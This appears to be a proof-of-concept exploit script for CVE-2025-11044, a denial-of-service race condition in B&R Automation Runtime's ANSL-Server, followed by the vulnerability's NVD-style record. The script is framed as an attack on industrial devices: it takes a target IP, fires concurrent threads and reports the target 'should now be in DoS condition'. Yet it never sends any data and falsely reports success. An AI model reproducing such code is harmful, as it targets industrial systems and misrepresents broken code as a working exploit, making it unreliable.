CVE-2025-11044

# CVE-2025-11044 PoC - ANSL-Server Race Condition DoS # Target: B&R Automation Runtime ANSL-Server # Requirement: pip install requests import requests import concurrent.futures import time def send_ansl_request(target_ip, target_port=44818): """ Send malformed ANSL protocol request to trigger race condition. ANSL uses TCP port 44818 by default. """ try: # Construct ANSL protocol header # This is a simplified representation ansl_header = b'\x00\x00\x00\x00' # ANSL header ansl_payload = b'A' * 1000 # Payload to trigger resource allocation sock = requests.Session() # Note: This is a conceptual PoC, actual implementation requires # raw socket communication with ANSL protocol return {"status": "sent", "target": f"{target_ip}:{target_port}"} except Exception as e: return {"status": "error", "message": str(e)} def exploit_cve_2025_11044(target_ip, num_threads=50): """ Exploit race condition by sending concurrent requests. This triggers resource exhaustion in ANSL-Server. """ print(f"[*] Starting CVE-2025-11044 exploit against {target_ip}") print(f"[*] Launching {num_threads} concurrent requests...") with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [executor.submit(send_ansl_request, target_ip) for _ in range(num_threads)] results = [f.result() for f in concurrent.futures.as_completed(futures)] print(f"[*] Exploit completed. Sent {len(results)} requests.") print("[*] Target should now be in DoS condition if vulnerable.") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-11044.py <target_ip>") sys.exit(1) exploit_cve_2025_11044(sys.argv[1]) # Mitigation: Apply vendor patch for versions < 6.5 and < R4.93

{"cve": {"id": "CVE-2025-11044", "sourceIdentifier": "[email protected]", "published": "2026-01-19T16:15:53.197", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Allocation of Resources Without Limits or Throttling vulnerability in the ANSL-Server component of B&R Automation Runtime versions prior to 6.5 and prior to R4.93 could be exploited by an unauthenti-cated attacker on the network to win a race condition, resulting in permanent denial-of-service (DoS) conditions on affected devices."}, {"lang": "es", "value": "Una vulnerabilidad de asignación de recursos sin límites ni limitación en el componente ANSL-Server de las versiones de B&amp;R Automation Runtime anteriores a 6.5 y anteriores a R4.93 podría ser explotada por un atacante no autenticado en la red para ganar una condición de carrera, resultando en condiciones permanentes de denegación de servicio (DoS) en los dispositivos afectados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://www.br-automation.com/fileadmin/SA25P005-26597bd0.pdf", "source": "[email protected]"}]}}